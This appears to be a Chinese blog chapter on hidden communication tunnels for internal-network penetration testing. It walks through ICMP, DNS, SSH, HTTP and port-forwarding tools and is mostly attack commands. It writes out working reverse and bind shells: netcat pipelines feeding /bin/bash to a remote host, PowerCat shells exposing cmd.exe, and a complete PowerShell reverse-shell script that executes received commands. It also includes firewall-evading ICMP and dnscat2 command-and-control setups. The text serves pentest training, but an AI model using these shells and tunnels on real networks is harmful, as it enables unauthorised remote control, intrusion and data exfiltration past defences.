内网渗透测试第三章——隐藏通信隧道

判断内网连通性

判断内网的连通性是指判断机器能否上外网等。(综合判断各种协议)各协议的方法如下:

  1. TCP 协议

    用netcat工具

    执行 nc 命令:nc <端口>

  2. HTTP 协议

    用curl工具

    执行curl 命令。

    远程主机开启了相应的端口,且内网可连接外网的话,就会输出相应的端口信息。

  3. CIMP 协议

    用ping命令,执行ping

  4. DNS 协议

    检测DNS连通性常用的命令是nslookup和dig。

    nslookup 是windows自带的DNS探测命令,执行:

    nslookup www.baidu.com vps-ip
    nslookup www.baidu.com     // 不指定服务器,则使用默认的DNS服务器
    

    dig是linux系统自带的DNS探测命令,执行:

    dig @vps-ip www.baidu.com
    dig www.baidu.com    // 不指定服务器,则使用默认的DNS服务器
    

网络层隧道技术

IPv6隧道

"IPv6"是"Internet Protrol Version 6"的缩写,也被称为是下一代互联网协议,它是由IETF(The Internet Engineering Task Force,国际互联网工程任务组)设计用来代替现行的IPv4协议的一种新的IP协议,IPv4协议已经使用了20多年,目前面临着地址匮乏等一系列问题,而IPv6则能从根本上解决这些问题,现在,由于IPv4资源几乎耗尽,IPv6开始进入过渡阶段。

  • IPv6隧道技术指的是通过IPv4隧道传送IPv6数据报文的技术,为了在IPv4的海洋中传输IPv6信息,可以将IPv4作为隧道载体,将IPv6报文整体封装在IPv4数据报文中,使IPv6能够穿越IPv4的海洋,到达另一个IPv6小岛。
  • 攻击者有时会通过恶意软件来配置允许进行IPv6通信的设备,以避开防火墙和入侵检测系统。
  • 支持IPv6的隧道工具有socat、6tunnel、nt6tunnel等。
socat

下载地址

https://github.com/tech128/socat-1.7.3.0-windows

监听本地ipv6 10090端口 转发到本地ipv4 10090

socat.exe -d -d TCP6-LISTEN:10090,reuseaddr,fork tcp4:192.168.2.18:10090
6tunnel

下载地址

https://github.com/wojtekka/6tunnel

安装脚本

#!/bin/bash
DIR=/opt/software
INSTALL=6tunnel-master.tar.gz

yum install iptables-services net-tools  openssl-devel siege traceroute  -y||  exit 2

mkdir $DIR -p

cd $DIR && {
wget http://114.244.115.2:38080/$INSTALL
tar xf $INSTALL 
}

ln -s  $DIR/6tunnel-master/6tunnel /usr/local/sbin/

执行命令

6tunnel -4   [本机端口]   [转发IP x:x:x:x]   [转发端口]
防御

针对IPv6隧道攻击,最好的防御办法是:了解IPv6的具体漏洞,结合其他协议,通过防火墙和深度防御系统过滤IPv6通信,提高主机和应用程序的安全性。

ICMP隧道

ICMP隧道是一个比较特殊的协议。在一般的通信协议里,如果两台设备要进行通信,肯定要开放端口,而在ICMP协议下就不需要。最常见的ICMP消息为Ping命令的回复,攻击者可以利用命令得到比回复更多的ICMP请求。在通常情况下,每个Ping命令都有相对应的回复与请求。

在一些条件下,如果攻击者使用各类隧道技术(HTTP,DNS,常规正反端口转发等)操作都失败了,常常会通过ping命令访问远程计算机,尝试进行ICMP隧道,将TCP/UDP数据封装到ICMP的ping数据包中,从而穿过防火墙(通常防火墙不会屏蔽ping数据包),实现不受限制的网络访问。

常见的ICMP隧道工具有:icmpsh、PingTunnel、icmptunnel、powershell icmp等。

icmpsh

下载地址

https://github.com/bdamele/icmpsh

icmpsh工具使用简单,是一个跨平台工具,运行不需要管理员权限。

使用icmpsh需要安装python的impacket类库,以便对于各种协议进行访问。

下载工具:

git clone https://github.com/bdamele/icmpsh

安装Python-impacket库:

apt-get install python-impacket

因为icmpsh工具要代替系统本身的ping命令的应答程序,所以需要输入如下命令来关闭本地系统的ICMP答应(如果要恢复系统答应,则设置为0),否则Shell的运行会不稳定:

sysctl -w net.ipv4.icmp_echo_ignore_all=1

输入./run.sh并运行,会提示输入目标IP地址(目的主机的公网IP地址)

pingtunnel

下载地址

http://freshmeat.sourceforge.net/projects/ptunnel/

解压一下

 tar -zxf PingTunnel-0.72.tar.gz

安装

make && make install

如果安装过程中提示缺少pcap.h,安装一下

wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz

下载完成后解压

tar -zxf libpcap-1.9.0.tar.gz 

运行安装文件

./configure 

如果安装过程中提示缺少yacc,安装一下

sudo apt-get install -y byacc

好了之后再安装一遍

./configure
make && make install

然后在内网web边界服务器输入

ptunnel -x calm

在vps上输入

ptunnel -p (vps的IP) -lp 1080 -da (web服务器内网的其他ip) -dp 3389 -x calm

这样可以成功把内网里面数据库服务器的3389通过边界web服务器转发到vps的1080端口。

防御

许多管理员会阻止ICMP通信进入站点。但是在出站方向,ICMP通信是被允许的,而且目前大多数的网站通信和边界设备不会过滤ICMP流量。使用ICMP协议会产生大量的ICMP数据包。我们可以通过Wireshark进行ICMP数据分析,以检测恶意的ICMP流量。

传输层隧道技术

lcx端口转发

内网端口转发

在目标机器上执行如下命令,将目标机器3389端口的所有数据转发到公网VPS的4444端口上

lcx.exe -slave <公网主机IP地址> 4444 127.0.0.1 3389

在vps上执行如下命令,将本机4444端口上监听的所有数据转发到本机的5555端口上。

lcx.exe listen 4444 5555

此时,用mstsc登录"<公网主机IP地址>:5555",或者在VPS上用mstsc登录主机127.0.0.1的5555端口,即可访问目标服务器的3389端口。

本地端口映射

如果目标服务器由于防火墙的限制,部分端口(例如3389)的数据无法通过防火墙,可以将目标服务器相应端口的数据透传到防火墙允许的其他端口(例如53)。在目标主机上执行如下命令,就可以直接从远程桌面连接目标主机的53端口。

lcx -tran 53 <目标主机的IP地址> 3389

netcat

netcat是一款知名的网络工具,简称nc。它可以做端口扫描,tcp/udp连接,远程传输文件,甚至远程传输流媒体,而且还可以实现远程shell等。

正向shell

客户端连接服务器,获取服务器的shell
服务器:

mkfifo /tmp/fifo
cat /tmp/fifo | /bin/bash -i 2>&1 | nc -l 10000 > /tmp/fifo

客户端:

nc 192.168.1.102 8000

原理:

  1. 创建fifo文件,管道文件用于将nc输出文件与bash的输入文件。
  2. cat /tmp/fifo是从fifo读取数据,将数据通过管道传给bash。
  3. | /bin/bash -i 2>&1这里需要注意2>&1的意义,这是将2标准错误描述符重定向到1标准输出文件描述符指向的地方,为什么是&1,而不是1呢,这是为了转义1的意思表示文件描述符而不是文件名为1。
  4. 将bash执行结果输入到nc输入中,从而可以传至客户端。
  5. 在客户端输入的命令数据通过服务端的nc输出重定向到fifo中,在服务端形成一个循环。
反向shell

在服务端输入:

nc -l 8001

在客户端输入:

cat /tmp/fifo | /bin/bash -i 2>&1 | nc 192.168.1.102 8001 > /tmp/fifo
端口转发

**背景:**192.168.1.103的msfadmin用户需要访问192.168.1.102的8000端口,但是该端口被防火墙保护着,不允许外界机器访问。目前msfadmin用户只能访问192.168.1.102的9000端口。需要9000端口做转发。

**目标:**msfadmin通过访问192.168.1.102的9000端口,达到与8000端口通话的目的。

  1. 在192.168.1.102上开启8000端口

    nc -l 8000
    
  2. 在192.168.1.102上实现9000端口转发

    cat /tmp/fifo | nc localhost 8000 | nc -l 9000 > /tmp/fifo
    
  3. 在192.168.1.103上连接192.168.1.102的9000端口

    nc -n 192.168.1.102 9000
    

PowerCat

PowerCatNetCatPowershell 版本。

下载地址

https://github.com/besimorhino/powercat

由于PowerCatNetCatPowerShell形式,所以,PowerCat可以无缝的和Netcat连接。PowerCat的用法和Netcat几乎一模一样。

由于PowerCat是NetCat的PowerShell形式,所以,PowerCat可以无缝的和Netcat连接。PowerCat的用法和Netcat几乎一模一样。

正向连接

Windows上的powercat正向连接Kali上的nc

Kali(192.168.10.11):

nc -lvp 8888

Windows:

Import-Module .\powercat.ps1
powercat -c 192.168.10.11 -p 8888 -e cmd.exe
反向连接

Kali上的nc反向连接Windows上的powercat

Kali:

   nc 192.168.10.1 8888 -vv

Windows(192.168.10.1):

 Import-Module .\powercat.ps1 powercat -l -p 8888 -e cmd.exe -v
Windows之间互弹shell

方法一:

服务器监听(192.168.10.1):

Import-Module .\powercat.ps1powercat -l -p 8888

客户端连接:

Import-Module .\powercat.ps1powercat -c 192.168.10.1 -p 8888 -ep

方法二:

服务器监听(192.168.10.1):

Import-Module .\powercat.ps1powercat -l -p 8888

客户端连接:

.\reverse.ps1

其中,reverse.ps1 脚本的内容如下:

$client = New-Object System.Net.Sockets.TCPClient('192.168.10.1',8888);
$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()};
$client.Close()

应用层隧道技术

SSH协议

SSH协议属于应用层协议,一个普通的SSH命令如下:ssh [email protected]

实验环境:

Kali:192.168.1.4
DMZ服务器:192.168.1.11/1.1.1.16
数据库服务器:1.1.1.10

本地转发

适合目标机能够接收内部流量的情况

**转发目的:**以DMZ服务器为跳板,访问数据库服务的3389端口

Copy#在Kali上执行,会要求输入DMZ服务器的SSH密码:
ssh -CfNg -L 1153(本地端口):1.1.1.10:3389(目标主机) [email protected](跳板机)

本地转发是将远程主机某个端口的数据转发到本地机器的指定端口,此时访问本地的1153端口,即可成功代理目标主机的3389端口流量。

远程转发

适合跳板机能够发送内部流量的情况

**转发目的:**以DMZ服务器为跳板,访问数据库服务的3389端口

Copy#在DMZ服务器上执行
ssh -CfNg -R 3307(Kali端口):1.1.1.10:3389(目标主机) [email protected](Kali主机)

远程转发是在远程主机上监听一个端口,所有访问远程服务器指定端口的数据都会通过SSH隧道传输到达本地的对应端口,此时访问Kali的3307端口,即可成功代理目标主机的3389端口流量

动态转发

可以通过SSH隧道开启一个目标内网的代理通道

同一实验环境下,在Kali上执行:

Copyssh -CfNg -D 7000 [email protected](DMZ服务器)

此时即通过SSH隧道开放了一个可以访问目标服务器内网环境的流量通道

HTTP/HTTPS协议

HTTP Service代理用于将所有的流量转发到内网。常见的代理工具有reGeorg、meterpreter、tunna等。

reGeorg

下载地址

https://github.com/sensepost/reGeorg

  1. 先将reGeorg的对应脚本上传到服务器端,reGeorg提供了PHP、ASPX、JSP脚本,直接访问显示Georg says, 'All seems fine',表示脚本运行正常。

  2. 运行命令提示符下切换到C:\Python27\,运行python reGeorgSocksProxy.py -u (上传reGeorg脚本的地址) -p (转发端口),参数顺序无强制要求。

  3. 是基于socks5,本地还需安装一个socks5代理工具。此类工具网上很多,就以Proxifier为例子。

  4. 监听代理时候注意规则,以Proxifier为例子,将python.exe添加列外,不然会死循环。

  5. 配置完成后,即可访问内网地址。

DNS协议

DNS协议这里不再多余赘述,利用DNS协议搭建隧道的工具有:dnscat2、iodine等。

Dnscat2

Dnscat2是一个DNS隧道工具,通过DNS协议创建加密的命令和控制通道。

下载地址

https://github.com/iagox86/dnscat2

安装

服务端:

 git clone https://github.com/iagox86/dnscat2.git
 cd dnscat2
 cd server
 sudo gem install bundler
 bundle install

客户端:

 git clone https://github.com/iagox86/dnscat2.git
 cd dnscat2/client/
 make

运行

服务端:

ruby ./dnscat2.rb --dns "domain=localhost,host=127.0.0.1,port=53" --no-cache

客户端:

dnscat2-v0.07-client-win32.exe --dns server=攻击者的IP --secret=攻击者服务器生成的ID

你可能感兴趣的:(windows,linux,网络安全)